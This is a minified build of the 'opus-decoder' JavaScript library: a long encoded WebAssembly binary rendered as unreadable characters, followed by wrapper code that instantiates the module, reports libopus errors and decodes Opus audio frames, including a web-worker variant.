Íò¦OtF^PQ‡Î8d¤ør€ê«âf$	o¤ãx8x[Ë(‹†%ÍtÉ
çnÞÔ6G$AXݽϤmÃi2Üiyd0¯‚…*߁á.9žŠ*oíÁ
r‡·2Ã(s´ÈÅz÷zY¢Á¼öÔ
°ç0}Ñ4µEö‘Ö	r5l®Ä'1Æüç\ã>ƊøièLï֘À|e¨ùRB’aEHÐ¢MßÏã؍ª$Äß=Mç.Œ·–¼ªnD õ´÷"T·ñy)5¹’ùÊÊ(·ÕJϘLr4jŠô*2÷5=MŠù#¯v#Ñå~¶¢z>õ8‹ŒySæ	É{Úõ«:£¿!ÓrYŽØçµÐÜ ×>兘ۓ&¼¤æ¸kgz;Ö0}Ë«]WÒÁþwqIM,[x@UbœG'1
ÿôÃê‚(}/QÇ“‘ÁÛâm¿p/|¼éBÐc«Q(ë3º(z2é¹:ºoû;@՛S?¿G†S‰kž«70>³r<ÞaåUGÒ;BAi¤°óGåÅ¥Û7BëUi~vJ
;ãG}@OUm½ÛXKÁn
nál!kýŸKe[kWG¼ëÃì½ìÉìÔLs4F³SÆAvÌ{¾š—™„€ˆ˜Ž†–‚’Ššÿ=M
	˜~Œû=Müj[cowmuai\dpxnvbêÛãï÷íõáé|~—
zswuil= hnvúóçíáéìôøöªϤn¢
+š÷§ Õ°VrfSu5€a¢Rð¯/‰×u®9=MVñ'¶3r)w·58Ýő9Ä@ð؎!i–ò¨*Î"ªy¹84òÛí¸“‘°2ÇàV²Zx²(îòú_ øÞn†Võa•óÑØ6‰—ó¹*$&Jš:Fãs!p‡Óú±"Ì.rZø5/Ɩføœ5Õ8RZ¹7
+ä(Úð³4³Îæbg±'Îʺt°=}F6‘Wó15zöœ8½8²ùîTòèu8Řz÷µ1Éfª‡Mv˜3û¥Ôp8û®‘&7´âyîÕâŠ8»á«ôZgɐ&Zësª¶@†ƒJۛ<K'ô®áP¨ñåküJ{«974žñ>Óëâ@\S@;ýnñð±æ§ñ(ñ¨ñ¨+ò¨ !5¶½ÔTT7}÷‘‰Øu°û¼jÿ¦°%æâ‰(ØLT7}÷‘â™ÃÛRðõµ$=Màނ²‰ÆGy0™âŠÚy³«ÏÃÛRðõ¯974^‚±‡ÈGaúºM:‹ƒf‰ÍcîKúD²àç?–´=Ms¯]ü‰oÓÄ·‡= r•ÄÈÿìÎRˆ}j©ÍÔ!¢ašŽØb„' ˆkÃÂO²Ü”
+o-ÛÈsƒUB4SïgtW¦I
-ºô­ç= Á(w¦=}õ¬Ð‰prŽ4×¥©ðU–„›rêÕ½¹àë®h—ùâٶ虍
+ö¡›SŠd(†îϤ!ŒÖ¬ÏGI.ä=MՎŸ°Ï”TºÃ«ÐLç}–¶ó¯!M\‰m¿„·} r”Ôˆÿðî҇…ª©Œû”Q›Q‹˜¡R„((hmӂϫÌ= “ÿjo1ËÈt•B6Óï"W<Én»¬·{´”Ù°ÿïø"‡ƒ²é̤!œUš‹¨‘¢VD()pŽ=MÚ¶O¬Ù€ÓJ²Ú0‚…6¶
+ÇG"T —¡TÑ,Bx¡®ÉÌynU¨sˆq‚ÖÈ7҃’V¥Ý

ÞFÒ$Ÿ®mԊä¡æëÔ³±,í#þ¨Eu½!–%óu'aÔ¸÷¨uÁ+ÓÍiñ_Æ4ÐaYñD„"KZVÆI×b,AmÙJäµfëٓ±+÷Ä#ü°-u÷‡"†¥óU§bÌx÷©eA«ÚÝ	òc.4ÌA)ò<6„ ;*ÖÄLwb Áí×z¤¬–«×‡É+ô¤Tív
'ǺϰȠ”~¯µ
3¯ Eôםiá+TñKé™lt¸ô~\"“Ãt·‚˜2“Òx_ò겇
+‹Ù‹= ÑDú^q C$X%NžÌF?tü[a+LP›€qKəklxô|y¢ÓÊT·€ˆ²“ÎX_ñâr‡{Y‹@Qž<z>q;äX#>nnͺL!Eþ“üšï/¿ht|¡‚5j\eGÃ¥6&zf꺾ގyTTQê28ÞºŽH¼°@{ë±VñĨñ4Œñ¨6(ñ¨¡)®TòÙÑ$T˜ü¡ôO)”„ýÁµdOyGNùv„œùœÜ[:•=}Âýxý*ÔM¯Žó]'°ÎÛ¹v\,çSf’±âÎä'´fŠ€ëàƒLyҕ((3s؃ìXBIB¾q×¹Í{ørñ+ڗ-·½¹oâ@® /]ãTªÁGà!7a³:Sˆ	ÈÈ£gÖñÝA—Õ|ðh0£®ÔŠ˜%랍5OŽÆø
+‘ŽïH·ØrÌe¯Q(Ûá^Ð3ºSÏpß=}…ªJ=MŽâ­s|²…¬W"ƒ™½¤’#͇lyÑÝÁ”À“˜:»uæPÛñ1TÈVÚÂÙÀª/‚I‡ÝyÎ/§‡ï7|’òŸ±#m˜mÛ,ãFjG…~.¼)wº‹Eù)•–Í—Ò(©aÁ;¹6x)z™ÉfŸ¬½P“ÃÁ¥æmºÉÿ¤Fp±FÄæUwíŠcÆïô
+[S¥#,4F<C§ûš’4ü
+Óâï3DŽQ÷øœOœüN¹´œf'Á	éñwl@ÀÆ(:l¯Z?;ÿkG>Ô€h2¶ïY]gªp¢Ù"–9ÓÇØtÔvUU£Ê‚÷
nÎ\”aŽíˆ
ŸØyX=M uே$×)þ[gÁ„GÞëU¡œrGþ-kHþsçJ.ëºÁ$»;;KC}“l:厠›‡¾ïÓa¤nÈ=M¥Õào‡¤Õñsèâ´ʼ“SNìl ÿ	SÅàlP–žg
—'Èü“WÎìtž°
)SÉ lXžw·'
+>´œÙV.ƒ™t
+Ø.‹™uŠ è.“™v
+ ø.›™wŠ!"÷5wâÓyCg;œS»
;iKKÞ£ý•6©ZÇaj¸²4¹±8
+é"0µ±øژ&즸±(é8°Y±Øʘ" 4°Z±ʘ2 8pJ±˜.7pŠ±Ҙ.¡7ÐBö-œ’™'ʘ´ífš± é7B±0¾˜¸œ’ºb±0Ƙ¸ž’:‚±0Θ¸ ’º¢±0֘¸¢’: ¼˜y À˜¹ Ęù Ș9 ̘y И91Ó"÷
¦ø¶èœh¦•Y1íâøØü”××”Øü˜˜ûgÿ§ç'g§ç' [FԁíÍÔ'Ÿc†Ô‘
íÑô'°{R¯}r¯’¯²¯ƒÒ¯…ò¯‡¯‰2¯‹R°r°’°‘²°“Ò°•ò°—°™2T›¼DqSœÀT±SÄdñSžÈt1SŸÌ„qT Ð”±ngüP»kGþU´•1-Êwۈ§$.7÷ºùz:Ú.	4"ù®:Ô"Ò´nº1¹r6bÊÎ÷͚-‡ùv4âÊ/Îù=Mš5‡ú$v8ÂÂ+L™ýŠ³Ešh7HÊþ"+u7I
+þ2+y7ÊJ3m9NJ3q9ÈÊ"3u9É
+23y9:gD<»{;»kÖLýDZìøf<†J=MÂ/]8ƒŠ=MÒ/a8„Ê=Mâ/e8…
+=Mò/i8†J/m8‡Š/q8ˆÊ"/u8‰
+2/y8
+J-Â7]:Š-Ò7a:Ê-â7e:
+-ò7i:J.7m:Š.7ñ"ºú¨£z	Ú.&7vz
+.67zYÃJÀ3\ÙÃjÈ3^YĊÐ3= ÙĪØ3bYÅÊà3dÙÅêè3fYÆ
+ð3hÙÆ*ø3jYÇJ3lÙÇj3nYȊ3pÙȪ3rYÉÊ 3tÙÉê(3vYÊ
+03xÙÊ*83ºí—B@;»{K¿Å´î8–4¼QB!B.À4þ·¹lÓº‚-η= º¢-Ö·b:Â-Þ·dºâ-æ·f:-î·hº"-ö·j:B.þ·lºb.·.7.·/7/·070·1714)6?ü>}[;;;ëبñ¨ñ¨ñ¨ñ¨VxÜÈí5•&éï%U¦êò-¥¦éî9…ãݼqµcÞÁau#Þ½u•#Ý{„p‘Š ‚¸’†˜PeàՁ$àוÕ$ßڅ%¤àÖ]Ž‰z&Ήx'.‰y(®	zďmaʟ=M_·ƒbƗM_Ô¥Á!Ô§ÕÔ!ÓªÅ$¡Ô¦ýߍcö÷͆fî×-†dø筆Ï3&ªø6=Mæª÷8êø4	6jìA'ìUÖ'ë
+E&§ì½= ’«xҘ®X2˜¬h²˜ó¥V¨ò­¦¨ñ¹fèò©ÆÑ{@>§+{AH‡«ûB@¯ëû@<ÍãÃhÙÝÄdÉ3ÝÃiÑó]EpÇëþFtïkþDzÏþErƒÞÉl1³^Êq!sÊm5“ÉSì¬'>Ç_”;»úõñ¨ê•Þ¥§ñôW¢ñ¨@"Ó¢ÿ$èP.Ï’ñZ¼4ôôDk r­Wkt’7"9ö= ¦î»÷nº™P>.mJ±Î}HQ?Û\ÂQWÃ{ŠDxÓ¾½GUë\¿_E#ûÀSI‹ü;MÙ'\ЕgD_ٗ•¬_M>à/Åj…m¤ÿыÍdßN’tƒ= ¾+j¤œ€KDÁNŒSdÞJn7‹Ì€N±¿ÜàÃiÃKG\ָߎÊpü_͊v	îÚ­5lZpožŠsuÅ$
ؘWá՜»ôtÆ_T›ÅB-ÆF‚¸¸êsv5½n¢"’lëg|Cölü<Z]‹›¼F<ÿÛ|ýQŠ}¾dÉ3MÄM†—D_ѳŸ€S¶lþDz݋œÀV|ÿÌ»W¶÷D¢Z!sŠo¥ç¬bӘ_ͯ!Ua<Ž§ËÚþè6= &ÓÙ}K¶C;ۀšà  Nh¹K8.•;™	üBSyLÆa8ô!JD„ï4˜±ñfR(€‹šHº<aŠ{.V«+n³ ®À‡zþýýøýèýðýÕë_—j'CVýhœw¢Âêyvø"…ÁžJ…úÉUÉVÊTÉ$ʤ@8ìÅçÅ'Åçí'¼9ÃùÃdêdê°–§YñµÿìFå”Ï­nèٍŠ= 2Xå„f„jd‰fpÑ*ªƒ'vMlQ•VØðrzæ[ò_øcè3«”¥ • •¢š››åõÁ.èq²“x¥9½ÆQʓõzå%pT&IâÐYiŠh
+ehäk‘%ÖMÖΕÍAPlFü9ðœÔì Ð„èŒ(̘ì>œøœxœN™Ž®	†i«Þøñʓx¢,í~Ñr”ôyÕ°ócøë[ú“͕׍̙Ò=MÕé%’/ä¶o2ˆ€'?i4@¢€ÈSvÝö^Až
>}Á>ÊA	?hõ©õš(­Þ"ð™²õy+ï(‘vñÆ1©Ê%5=M-E-f-Õðpdp6VŽŽµ~ń˝‹xö¢y7Á»°ûC£=M|ÁKa۞á˜Â†×ÉÙRï·×ÜЄSÉz]”“usöõ¶³´6354B??A@@Æ7uÜ"Τ…!­ãã=}ҕ³öYÕ[ßPÑ[àXÙRgu{jC^ýÏ;[œó8d5ЛD3:9ä	÷ÐüWë?ç·iÉ»nEó>Ù»rF3>¼{k+R¾/OkDM¾<«¨*ªñ¨wñ¨ñ¨ñ¨6ñY¥wÒ_͇e$ŸÍˆi4O‡d ˆh0o=M‡f(¯=Mˆj8Gmc‡mgVîdÖî= –îhî^vîföîb¶îj6®[B®c®_‚®g®]b®eâ®a¢®i"®\R®dÒ®= ’®h®^r®fò®b²®j2.[J.cÊ._Š.g
+.]j.eê.aª.i*.\Z.dÚ.= š.h.^z.fú.bº.j:n²é4îËg tf”•NƒkÜ¿N„oìÿ΃mäß΄qôŽƒlàώ„pðƒnèï„rø/nkÞÇno1‰õ҅AÌNôPt$ø§ස'wvþð7„&·n ’µRÓV¼F(Dšmõ‡£—§¡ilnuÒÕD–iÎdâi.E®ž’€émŽ1—hÎp!ÿÀ¦((uÔèrb)Gë²¼µE͎ë~Ȓp±ªÓØEò²L±m=Mف£÷É0”×*8aüªN8bºÎØ\Ëýo¢ávvþXÔ)­¢Éö®ËâÑ·pPåèƒÈ¥h®Ô0[Žæ/èò•x$ð|
+ȵªÑ|ÆgŸ=Mi։T°傡¸í&ÒÛgŸu]lTʵ!íÚp¾ÈNn§ñkÞ襦n'ñr~~W‡²p³ŠîÙ)¦¢2"{êJ1ÜùvªÉ/Þ8"“:xTbu&Ÿ¢Ù%'n¬Ñö	¬"´)ù{HRæ p˜éñf³È•êŽ.H¥ú”Jò% Ixàò¶/³ú™Z.^µº‡AŠ¤ÔwbÖRŸ/íç™ÐVí¶–Á*->Ô¹gŠ 7Àçrk‡Iì_œO9åBxÙsä¢nñ6íñ¨E¶¦¨ñ(™ñ¦¨È‰út7¶º½ªº¼æºBB»<
?sQãK×SATÀûAÐ;ν—Q¥0›
+=}tZ÷= [Õû¯û;³ÞêBb©<­¢«2>:ck~)—Cé<¬j
+»·J×Z{ÒûD
ÑFW= ‹C‰w‡[
+M?òÐ0Ò@!‚|i¤q–#ˆg'ÞgÐQ.QŠFnvÿõ\÷,K9è\‰7g¿çIéX
œޜ­:ÀDõ]Ã^]J€ËC	ƒO¸…O.‰Ïì4q	|qòtìaÁb‹îÓÞÊ1= Òbëþ„9„÷JÍÃpŽÓBŽÇ臘Ø
ÚÌÿFmg)@홼ôõ½…½ÂeL¦’œºÀwßUb”¾ùìAîhžzהÂ%è"ÿª%Ì"pKç\Œ= Ä´›Aô~¢±	}:zF6Ž"¨xRsJ^!n1,·÷ÂQÒij/]ÙƬr˜½zõOîǗ­½Ðf,fì–VÌøˆsæpÞr¦ü'Ó©þôÝX °Ï6²]n?>xã>µl0Ì6÷Z²)[µ\'ÁÌtBªXÀóµ?ŽS §,÷p+Ò萺¨Ÿ·˜ÞþjéÊÔ˗£ž½nq|G6ùÌV§Ä.‘#îòü/ª’º¶×²¨ìnb'Å7›r½æ1{XóR¡ŸZ­n2þ*ÊM«î@,C3l‹TÃü.ûªAܛ4‘KzW/€ÛÚÁ3ºë÷Ž[a@9&½Ö–h’”ãô\7v~ÿrH®®]½5[½¹w-§*K$?æ%uFóì_G2ÎÁÛÔ‡E×VkÓÔ(pŽsÔH‚Iby6œaÀÔHEnnnnî
+ÕÕWš’¸0922hPå“c‚A3åWã܅›·G»ñm=}ñ¾D=}n	“;˜¡HsQkB
s>5#AÕɻҳ;®þBÓÇi»äKÛý¹BïÝb«”ûIǨÔG/ýgIQ;ÉY;'*•ÛRÇ>á³e‹fæ<â<o¸T[:H»®²> ¬CÓ¿®{vAñ7@L»Î…LX§ÄëLÀú@[©ŠZ¿!ß\®;ý‡t¥UKŽïUœTÂãÒK6M¬²?¶Éû6>CõuÉýBMó轛’è]#¿^?^¹}‹6lĦu̓V|ÝL¾„wúÌßÙṙ>ÍñŒE“¤R<IL«Öæ?/ãa<Ù4—ûUãÀîC\-gR2òDì%ÀË)g)âÆ+÷Ô]%,´Luœ_!ÿ'3•l	ócá•„ó©M×	…„#ZU›u
º±ÑÝ.àã€dÙ”øÙgž…*£œÓ×ö{É]@²wŠ|²séûb¸Ð§&=}= bãe%+†PI
+l›5˜p›‰U–âGäÄL#+d^©®çlV°SêlÜ2øm‘Êp= A¡ç¯ÔT˜R§	S™mâeÁ•›àä= •ïþM€¡•œ‚§ˆtªî¡m.¨#ÖÑ¥±¤pypÑÆ* ‚2
1³D¶±œø>¢Ô(Ãu³uŒD¢W¯ÔÄ'ºêÐ;eV;~Z»;€= »1A{{s½×ÂC%rN›ÌÛQý%†]ó|›KªÑüÌڅ+¤n½BâüޅH™T	+hæNç¨1¾
€œË7–sËVŽüê¦d¿õÉ>õÜI5ٖ>žWI¾ÌÂ+ÿGÞ®äY£=MƟO$uH€"pÜtŠc·Ázìø2£œ„áH´œØÑ/ó¡Ò/Ow¶ö‚Û‰FQ1'µ‹Ã6áÅÁ·RôOë<²­_¾µ°ý|”ß/öb=M†R©¡µg*5ыI6#ÜU²¸Û<n2ÛGºªሖ‡EW]ãt¿Àl¸-{+‰&å¡°ð3éð³¢ú¹Ù'7äö¨"÷ˆøýì؇èAµg#w¶L°ê7=}=M˜‰BŠ¤C&hé#ñ4ᙴ8 &2Éósnœæï	î%í¢†-귐mœ|–h*¤–WåØ;AÀ>
+@3Å[Š‰ûNhDîQFü*Ý?uJûØ6
ë
+A™§²Âœp˜[ô’s‹šFû .oCtï@ݘÚý‰#
£=MÖ#ƒ‡wìîxýß½GÒÿDó|Ü}5jìÝNÈ°5EÇ>ïvßøN’À‚ªfÈÆHøýˆ	§åpª­( øç°ÓX–*)· ©T0œ¢Ç‚¹ÆÑB¿Ÿ¤iÅ5mtímhâ¡'»BNiÇ©¦=}{fLÐË+¡ùC}ØûÀÓ}qb³.x;ݎ<¸Ø<圢›‹ÆrEØø>¬C䇭‹ ·|ãKLQfäÕ6˜5av„TõÝýît›™Ð"¦6Ál¬¨6ñý>HG8¶$  —=Møăd»¥BGÁØǼ¹$=}¯ŸŠã)uYGz;žC}pd¿\|‘6(L=Mf_ï#ß«WÞ¥§fŸp@0N6‘
+Š'¤sªˆQø÷Õ¬Åq¾>.øü·¢D5³T…áhÅ8zDvO= ¯óÝ
yàÙåFÆҕçcËóŒz
?Ê5cèŠ–úë.ÌðÐޛ~†OË|¿Ó˜Q§v)BHXƒš6œøöDŽ‡¥„˜ŠkÒÚa¡cÙ7—¦x©
nº¡6¾}®­iÏ<ÎWhš‘2 9's"IɎ<»ïX\#F\Ë_4F[ eŠÚ¸Šø¹2øH$žß9_xì9i2µšã
+ã/¸Äyf"Ÿ5TàyÊ0îEê²Þ—€m6ëÞè6ðÏâ§9ž¬„k=}¼àt<ž‚¦Mdžç6"p_î3,oO3p"pw÷´/(1ñøs.íA/&ÏUÃ_X™ÍpÕ1hÌ80E’Qö„
+ow÷!x.™AÜ"¢j+惡¦¶®ä“R–ow÷!xꔊpn…â#ðù
+z AÍp\Ž0N˜
HJê´ªØ^U
+I€wu¸öôú!3å6³‹âVq£³¹´RN£%y10º:pŠ#\:J:b9Hµ7h_Ž:¢I9 _¼™µV,þ<`});var d={a:l};this.H=t=>{i.H(n,t)},this.M=()=>i.M(n),this.instantiate=()=>(this.M().then(i=>WebAssembly.instantiate(i,d)).then(i=>{const s=i.exports;var h;(i=>{o=i.i,a=i.j,c=i.k,I=i.l,u=i.m,y=i.o})(s),h=(H=s.g).buffer,e=new Uint8Array(h),new BigInt64Array(h),new BigUint64Array(h),(i=>{i.h()})(s),t()}),this.ready=new Promise(i=>{t=i}).then(()=>{this.O=H.buffer,this.v=a,this.free=u,this.R=o,this._=c,this.q=I}),this)}function M(i={}){M.errors||Object.defineProperties(M,{errors:{value:new Map([[-1,"OPUS_BAD_ARG: One or more invalid/out of range arguments"],[-2,"OPUS_BUFFER_TOO_SMALL: Not enough bytes allocated in the buffer"],[-3,"OPUS_INTERNAL_ERROR: An internal error was detected"],[-4,"OPUS_INVALID_PACKET: The compressed data passed is corrupted"],[-5,"OPUS_UNIMPLEMENTED: Invalid/unsupported request number"],[-6,"OPUS_INVALID_STATE: An encoder or decoder structure is invalid or already freed"],[-7,"OPUS_ALLOC_FAIL: Memory allocation has failed"]])}}),this.K=()=>new this.C(this).instantiate(this.ii,this.ti).then(i=>{this.ei=i,this.Hi=0,this.si=0,this.hi=0,this.ri=this.ei.U(this.ni,Uint8Array),this.Mi=this.ei.U(this.oi*this.ai,Float32Array);const t=this.ei.U(this.ci,Uint8Array);t.F.set(this.Ii),this.ui=this.ei.I.R(this.yi,this.ci,this.li,this.di,t.Y,this.pi,this.mi)}),Object.defineProperty(this,"ready",{enumerable:!0,get:()=>this.fi}),this.reset=()=>(this.free(),this.K()),this.free=()=>{this.ei.free(),this.ei.I.q(this.ui),this.ei.I.free(this.ui)},this.Ji=i=>{if(!(i instanceof Uint8Array))throw Error("Data to decode must be Uint8Array. Instead got "+typeof i);this.ri.F.set(i);let t,e=this.ei.I._(this.ui,this.ri.Y,i.length,this.Mi.Y);return e<0&&(t="libopus "+e+" "+(M.errors.get(e)||"Unknown Error"),console.error(t),e=0),{outputBuffer:this.ei.P(this.Mi.F,this.oi,e),samplesDecoded:e,error:t}},this.decodeFrame=i=>{let t=[];const e=this.Ji(i);return e.error&&this.ei.D(t,e.error,i.length,this.hi,this.Hi,this.si),this.hi++,this.Hi+=i.length,this.si+=e.samplesDecoded,this.C.W(t,[e.outputBuffer],this.oi,e.samplesDecoded,this.yi)},this.decodeFrames=i=>{let t=[],e=[],H=0,s=0;for(;s<i.length;){const h=i[s++],r=this.Ji(h);t.push(r.outputBuffer),H+=r.samplesDecoded,r.error&&this.ei.D(e,r.error,h.length,this.hi,this.Hi,this.si),this.hi++,this.Hi+=h.length,this.si+=r.samplesDecoded}return this.C.W(e,t,this.oi,H,this.yi)},this.bi=M.G,this.C=M.V||s,this.ii=M.$||n,this.ti=M.module;const t=i=>"number"==typeof i,e=i.sampleRate,H=i.channels,h=i.streamCount,r=i.coupledStreamCount,o=i.channelMappingTable,a=i.preSkip,c=i.forceStereo?1:0;if(H>2&&(!t(h)||!t(r)||!Array.isArray(o)))throw Error("Invalid Opus Decoder Options for multichannel decoding.");return this.yi=[8e3,12e3,16e3,24e3,48e3].includes(e)?e:48e3,this.ci=t(H)?H:2,this.li=t(h)?h:1,this.di=t(r)?r:this.ci-1,this.Ii=o||(2===this.ci?[0,1]:[0]),this.pi=a||0,this.mi=H<=8&&2!=H?c:0,this.ni=3840*this.ci,this.ai=5760,this.oi=this.mi?2:this.ci,this.fi=this.K(),this}class o extends h{constructor(i){super(i,"opus-decoder",M,n)}async decodeFrame(i){return this.X("decodeFrame",i)}async decodeFrames(i){return this.X("decodeFrames",i)}}r(M,"OpusDecoder"),r(o,"OpusDecoderWebWorker"),i.OpusDecoder=M,i.OpusDecoderWebWorker=o},"object"==typeof exports&&"undefined"!=typeof module?t(exports,require("@eshaz/web-worker")):"function"==typeof define&&define.amd?define(["exports","@eshaz/web-worker"],t):t((i="undefined"!=typeof globalThis?globalThis:i||self)["opus-decoder"]={},i.Worker);
+//# sourceMappingURL=opus-decoder.min.js.map